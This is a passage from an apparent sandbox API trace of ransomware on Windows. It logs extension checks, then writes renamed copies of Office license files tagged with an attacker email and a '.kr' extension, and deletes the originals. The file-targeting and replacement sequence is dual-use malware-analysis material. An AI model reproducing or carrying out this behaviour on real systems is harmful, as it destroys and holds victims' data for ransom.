lpString2="m-ms") returned -1 [0204.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0204.075] lstrlenW (lpString=".1cd") returned 4 [0204.075] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0204.075] lstrlenW (lpString=".jpg") returned 4 [0204.075] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0204.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0204.075] lstrlenW (lpString=".doc") returned 4 [0204.075] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.075] lstrlenW (lpString=".docx") returned 5 [0204.075] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.075] lstrlenW (lpString=".pdf") returned 4 [0204.075] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.075] lstrlenW (lpString=".xls") returned 4 [0204.075] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.075] lstrlenW (lpString=".xlsx") returned 5 [0204.075] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.075] lstrlenW (lpString=".ppt") returned 4 [0204.075] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0204.075] lstrlenW (lpString=".zip") returned 4 [0204.075] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.076] lstrlenW (lpString=".rar") returned 4 [0204.076] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.076] lstrlenW (lpString=".bz2") returned 4 [0204.076] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.076] lstrlenW (lpString=".7z") returned 3 [0204.076] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0204.076] lstrlenW (lpString=".dbf") returned 4 [0204.076] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0204.076] lstrlenW (lpString=".1cd") returned 4 [0204.076] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86 [0204.076] lstrlenW (lpString=".jpg") returned 4 [0204.076] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.076] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.076] lstrlenW (lpString="O365HomePremR_SubTrial4-pl.xrm-ms") returned 33 [0204.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.078] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11183) returned 1 [0204.078] CloseHandle (hObject=0x38c) returned 1 [0204.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms")) returned 0x220 [0204.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.079] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.079] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0204.080] GetLastError () returned 0x0 [0204.080] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2baf, lpOverlapped=0x0) returned 1 [0204.096] WriteFile (in: hFile=0x4d8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0204.097] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.097] WriteFile (in: hFile=0x4d8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x116, lpOverlapped=0x0) returned 1 [0204.097] SetEndOfFile (hFile=0x4d8) returned 1 [0204.097] CloseHandle (hObject=0x4d8) returned 1 [0204.097] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.097] SetEndOfFile (hFile=0x38c) returned 1 [0204.100] CloseHandle (hObject=0x38c) returned 1 [0204.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms")) returned 1 [0204.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0204.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0204.102] lstrlenW (lpString=".doc") returned 4 [0204.102] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.102] lstrlenW (lpString=".docx") returned 5 [0204.102] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.102] lstrlenW (lpString=".pdf") returned 4 [0204.102] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.102] lstrlenW (lpString=".xls") returned 4 [0204.102] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.102] lstrlenW (lpString=".xlsx") returned 5 [0204.102] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.102] lstrlenW (lpString=".ppt") returned 4 [0204.102] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0204.102] lstrlenW (lpString=".zip") returned 4 [0204.102] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.102] lstrlenW (lpString=".rar") returned 4 [0204.102] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.102] lstrlenW (lpString=".bz2") returned 4 [0204.102] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.102] lstrlenW (lpString=".7z") returned 3 [0204.102] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0204.102] lstrlenW (lpString=".dbf") returned 4 [0204.102] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0204.103] lstrlenW (lpString=".1cd") returned 4 [0204.103] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0204.103] lstrlenW (lpString=".jpg") returned 4 [0204.103] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0204.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0204.103] lstrlenW (lpString=".doc") returned 4 [0204.103] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.103] lstrlenW (lpString=".docx") returned 5 [0204.103] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.103] lstrlenW (lpString=".pdf") returned 4 [0204.103] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.103] lstrlenW (lpString=".xls") returned 4 [0204.103] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.103] lstrlenW (lpString=".xlsx") returned 5 [0204.103] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.103] lstrlenW (lpString=".ppt") returned 4 [0204.103] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0204.103] lstrlenW (lpString=".zip") returned 4 [0204.103] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.103] lstrlenW (lpString=".rar") returned 4 [0204.103] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.103] lstrlenW (lpString=".bz2") returned 4 [0204.103] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.103] lstrlenW (lpString=".7z") returned 3 [0204.103] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0204.103] lstrlenW (lpString=".dbf") returned 4 [0204.103] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0204.103] lstrlenW (lpString=".1cd") returned 4 [0204.104] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83 [0204.104] lstrlenW (lpString=".jpg") returned 4 [0204.104] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.104] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.104] lstrlenW (lpString="O365HomePremR_SubTrial4-ppd.xrm-ms") returned 34 [0204.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.105] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=23135) returned 1 [0204.105] CloseHandle (hObject=0x38c) returned 1 [0204.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms")) returned 0x220 [0204.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.105] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.105] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0204.106] GetLastError () returned 0x0 [0204.106] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0204.109] WriteFile (in: hFile=0x4d8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0204.110] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.110] WriteFile (in: hFile=0x4d8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x118, lpOverlapped=0x0) returned 1 [0204.110] SetEndOfFile (hFile=0x4d8) returned 1 [0204.110] CloseHandle (hObject=0x4d8) returned 1 [0204.110] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.110] SetEndOfFile (hFile=0x38c) returned 1 [0204.113] CloseHandle (hObject=0x38c) returned 1 [0204.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms")) returned 1 [0204.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0204.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0204.114] lstrlenW (lpString=".doc") returned 4 [0204.114] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.114] lstrlenW (lpString=".docx") returned 5 [0204.114] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.115] lstrlenW (lpString=".pdf") returned 4 [0204.115] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.115] lstrlenW (lpString=".xls") returned 4 [0204.115] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.115] lstrlenW (lpString=".xlsx") returned 5 [0204.115] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.115] lstrlenW (lpString=".ppt") returned 4 [0204.115] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0204.115] lstrlenW (lpString=".zip") returned 4 [0204.115] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.115] lstrlenW (lpString=".rar") returned 4 [0204.115] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.115] lstrlenW (lpString=".bz2") returned 4 [0204.115] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.115] lstrlenW (lpString=".7z") returned 3 [0204.115] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0204.115] lstrlenW (lpString=".dbf") returned 4 [0204.115] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0204.115] lstrlenW (lpString=".1cd") returned 4 [0204.115] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0204.115] lstrlenW (lpString=".jpg") returned 4 [0204.115] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0204.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0204.115] lstrlenW (lpString=".doc") returned 4 [0204.115] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.115] lstrlenW (lpString=".docx") returned 5 [0204.115] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.115] lstrlenW (lpString=".pdf") returned 4 [0204.116] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.116] lstrlenW (lpString=".xls") returned 4 [0204.116] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.116] lstrlenW (lpString=".xlsx") returned 5 [0204.116] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.116] lstrlenW (lpString=".ppt") returned 4 [0204.116] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0204.116] lstrlenW (lpString=".zip") returned 4 [0204.116] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.116] lstrlenW (lpString=".rar") returned 4 [0204.116] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.116] lstrlenW (lpString=".bz2") returned 4 [0204.116] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.116] lstrlenW (lpString=".7z") returned 3 [0204.116] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0204.116] lstrlenW (lpString=".dbf") returned 4 [0204.116] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0204.116] lstrlenW (lpString=".1cd") returned 4 [0204.116] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84 [0204.116] lstrlenW (lpString=".jpg") returned 4 [0204.116] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.116] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.116] lstrlenW (lpString="O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 37 [0204.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.117] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11635) returned 1 [0204.117] CloseHandle (hObject=0x38c) returned 1 [0204.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms")) returned 0x220 [0204.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.118] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.118] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0204.118] GetLastError () returned 0x0 [0204.118] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d73, lpOverlapped=0x0) returned 1 [0204.120] WriteFile (in: hFile=0x4d8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0204.385] ReadFile (in: hFile=0x38c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.386] WriteFile (in: hFile=0x4d8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11e, lpOverlapped=0x0) returned 1 [0204.386] SetEndOfFile (hFile=0x4d8) returned 1 [0204.386] CloseHandle (hObject=0x4d8) returned 1 [0204.386] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.386] SetEndOfFile (hFile=0x38c) returned 1 [0204.389] CloseHandle (hObject=0x38c) returned 1 [0204.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms")) returned 1 [0204.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0204.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87 [0204.390] lstrlenW (lpString=".doc") returned 4 [0204.390] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.390] lstrlenW (lpString=".docx") returned 5 [0204.390] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.390] lstrlenW (lpString=".pdf") returned 4 [0204.390] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.390] lstrlenW (lpString=".xls") returned 4 [0204.390] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.390] lstrlenW (lpString=".xlsx") returned 5 [0204.390] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.390] lstrlenW (lpString=".ppt") returned 4 [0204.390] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.390] lstrlenW (lpString="C:\\Program Files\\Microsoft 